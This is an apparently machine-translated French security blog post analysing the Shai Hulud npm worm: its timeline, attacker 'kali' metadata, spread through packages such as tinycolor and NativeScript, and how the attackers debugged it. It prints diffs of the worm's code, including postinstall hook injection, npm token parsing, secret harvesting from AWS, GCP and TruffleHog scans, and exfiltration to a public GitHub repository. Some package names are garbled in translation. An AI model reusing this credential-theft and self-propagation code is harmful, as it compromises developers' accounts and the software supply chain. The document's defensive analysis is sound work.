Bonjour Internet, c'est encore moi, avec d'autres bonnes nouvelles.
Hier, j'ai pris le temps de m'asseoir et d'étudier en détail les charges utiles Shai Hulud. Et j'ai remarqué quelque chose d'intéressant, qui m'a poussé à analyser plus en profondeur le déroulement de l'attaque. Voici ce que j'ai découvert :

Avez-vous remarqué qu'il y a plusieurs package.json et bundle.js fichiers ? Oui, c'est un bug dans la façon dont le ver Shai Hulud s'implante. Il ne remplacerait pas le package.json et bundle.js; il a simplement ajouté une autre copie de ceux-ci. De plus, il nous fournit également les horodatages complets et le nom d'utilisateur de l'utilisateur local qui a effectué la modification.
Nous voyons également plusieurs versions DIFFÉRENTES du ver. Cela nous permet d'obtenir de nombreuses informations sur la chronologie des événements et sur la manière dont ils ont débogué les choses en direct. Vous savez ce que cela signifie : il est temps de sortir nos pelles et de commencer à creuser.
Comment l'attaque a-t-elle commencé ?
L'une des grandes questions que nous nous posions était la suivante : quel a été le premier compromis ? Comment les pirates ont-ils réussi à propager le ver ? La réponse est apparue clairement dès que nous avons commencé à examiner les métadonnées des archives de npm. La réponse était simple :
Les pirates ont eux-mêmes introduit un nombre important de paquets contenant le logiciel malveillant. Ils ont très probablement utilisé les jetons NPM volés lors de l'attaque Nx initiale. Comment pouvons-nous l'affirmer ? Grâce aux métadonnées utilisateur contenues dans les archives. Pour ceux qui ne le savent pas, Kali est le nom d'une distribution Linux utilisée par les professionnels de la sécurité, et non par les développeurs classiques. Mais nous retrouvons cette empreinte dans les 49 premiers paquets, pour un total de 67 versions.
Swing et échec
Les attaquants n'ont pas réussi dans un premier temps, comme le prouve le fait qu'ils ont publié plusieurs versions de certains paquets. Voyons cela de plus près. authentification rxnt, qui est le premier paquet malveillant qui, selon nous, a été publié le 14 septembre 2025 à 17 h 58 min 50 s UTC (version 0.0.3). L'image au début de l'article provient de la version 0.0.6, qui était la quatrième version publiée par les pirates. Voici la section des scripts du premier fichier inséré par les pirates package.json:

Remarquez-vous quelque chose d'étrange ? La majuscule de postInstallation est faux. Le i ne doit pas être en majuscules ! Si nous comparons les deux premiers bundle.js fichiers, nous pouvons voir que les attaquants ont fini par comprendre :
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}En plus de corriger cela, les attaquants ont apporté plusieurs autres modifications. Je vais rendre service aux attaquants et publier le journal des modifications à leur place, puisqu'ils ne l'ont pas inclus :
🛠️ Améliorations
- Module TruffleHog:
- Le délai d'attente pour TruggleHog a été réduit de 120 secondes à 90 secondes.
- Correction d'un problème de concurrence lors de l'exécution de TruffleHog avant le téléchargement du fichier binaire.
- Remplacement d'une référence au vol d'identifiants Azure par GCP.
- Augmentation du nombre de paquets npm qu'il infectera de 10 à 20.
Il est clair que les pirates avaient l'intention de voler les identifiants Azure, mais ils se sont finalement tournés vers GCP. Ils ont également décidé de doubler le nombre de paquets dans lesquels le ver se propagerait.
Un autre bug
Le 14 septembre 2025 à 20 h 43 min 42 s, les attaquants ont publié une nouvelle série de paquets, le premier étant la version 0.0.4 de authentification rxnt avec la capitalisation fixe de post-installation. Nous voyons ensuite, environ 20 minutes plus tard, à 21 h 03 min 17 s le 14 septembre 2025, qu'ils publient également une version. 0.0.5 avec un changement intéressant :
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
Ils ont modifié leur script pour n'insérer que le post-installation script si la clé scripts existe dans le package.jsonIl semble que les assaillants se préparaient à attaquer le ngx-bootstrap paquets, ce qu'ils ont fait le 15 septembre 2025 à 01h12. Voici le package.json:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
Remarquez qu'il n'y a pas de scripts ? Essayer d'exécuter le ver sur ce paquet ne fonctionnerait pas. Ils ont donc corrigé cela. Et nous voyons que le paquet a également été modifié par un kali utilisateur :

Il est clair que ce paquet a été poussé par les attaquants eux-mêmes après avoir débogué la raison pour laquelle leur ver s'est interrompu lorsqu'il a tenté d'infecter ce paquet.
Plus de corrections
Dans la version 0.0.6 de authentification rxnt, nous constatons davantage de changements (abrégé pour plus de concision).
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
Voici quelques notes de mise à jour :
✨ Nouvelles fonctionnalités
- Scan conditionnel TruffleHog: Vous pouvez désormais ignorer l'analyse du système de fichiers TruffleHog en définissant le paramètre
SKIP_TRUFFLEvariable d'environnement.
🛠️ Améliorations
- Migration améliorée du référentiel: Le script de migration supprime désormais automatiquement le
.github/workflowsrépertoire à partir des référentiels migrés. - Référentiels publics par défaut: le référentiel GitHub créé pour stocker les données système collectées est désormais créé en tant que référentiel public par défaut, plutôt que d'être rendu public après avoir été créé en tant que référentiel privé.
- Suppression de la vérification repoExists: la vérification visant à déterminer si le référentiel Shai-Hulud existe déjà a été supprimée. Le script tentera désormais de le créer à chaque exécution, en s'appuyant sur le comportement de GitHub pour gérer les cas où le référentiel existe déjà.
Première propagation communautaire
D'après cette analyse, la première propagation communautaire s'est produite par le biais du colis. plugin-condensateur-santé version 0.0.2 le 15 septembre 2025 à 04h54.

C'est le premier paquet où nous voyons que l'archive a un utilisateur qui n'est pas kali.
Comment tinycolor a-t-il été compromis ?
Les premiers rapports sur cette campagne étaient largement axés sur le package tinycolor. Examinons-le donc ! La première version malveillante de @ctrl/tinycolor était la version 4.1.1, publié le 15 septembre 2025 à 19h52.

Mais regardez, un autre kaliCe paquet n'a probablement pas été compromis par une propagation communautaire, mais par les pirates qui ont tenté d'introduire un autre paquet pour lancer le ver.
Comment CrowdStrike a-t-il été CrowdStrike ?
Voici le colis. crowdstrike version 0.19.1, publié le 16 septembre 2025 à 01h14. Veuillez noter que l'utilisateur kali a également modifié ceci...

Cela indique que les pirates disposaient d'identifiants pour CrowdStrike les ont utilisés pour lancer une nouvelle vague d'attaques.
Comment NativeScript a-t-il été compromis ?
En discutant avec Daniel Pereira, qui a été le premier à alerter la communauté sur cette campagne, il en a pris conscience parce qu'il a constaté qu'elle avait eu un impact sur l'écosystème NativeScript. Le premier paquet était @nativescript-community/tableaux-de-tampons version 1.1.6 le 15 septembre 2025 à 09h16 :

Un cas évident de propagation communautaire.
Événements majeurs
Voici un calendrier des événements marquants de la campagne.
Et maintenant, où allons-nous ?
Cette campagne Shai Hulud représente une escalade significative par rapport à l'attaque S1ngularity initiale, qui a commencé avec Nx. Nous observons que les attaquants ont tenté à plusieurs reprises de corriger des bogues et de propager le ver dans l'écosystème npm. L'explication la plus logique à laquelle nous sommes parvenus est que les attaquants ont conservé les identifiants qu'ils ont volés lors de l'attaque initiale, attendant le moment opportun pour les utiliser.
Nous pouvons donc observer que les pirates ont lancé plusieurs vagues d'attaques sur plusieurs jours, car leur tentative ne s'est pas immédiatement propagée à une vitesse significative. Ils n'étaient pas satisfaits de la lenteur de la propagation, ce qui est une chance pour nous.
Mais cela soulève une vérité dérangeante : s'ils ont conservé ces identifiants pendant plusieurs semaines et qu'ils en ont désormais encore PLUS qu'ils ont réussi à voler, ce n'est probablement pas la dernière fois que nous entendons parler d'eux. Pour l'instant, le ver n'a pas encore atteint escape pour devenir véritablement viral.
Il serait naïf de penser que les pirates ont utilisé leurs meilleurs atouts, en termes d'identifiants stockés dans leur poche arrière. Les motivations et les intentions des pirates restent floues, ce qui laisse penser que cette saga n'est pas terminée. Il semble plus que probable que nous soyons à l'aube d'une trilogie dont l'histoire reste à écrire. Et pour l'instant, je ne pense pas que la fin sera heureuse.
Sécurisez votre logiciel dès maintenant.



.avif)
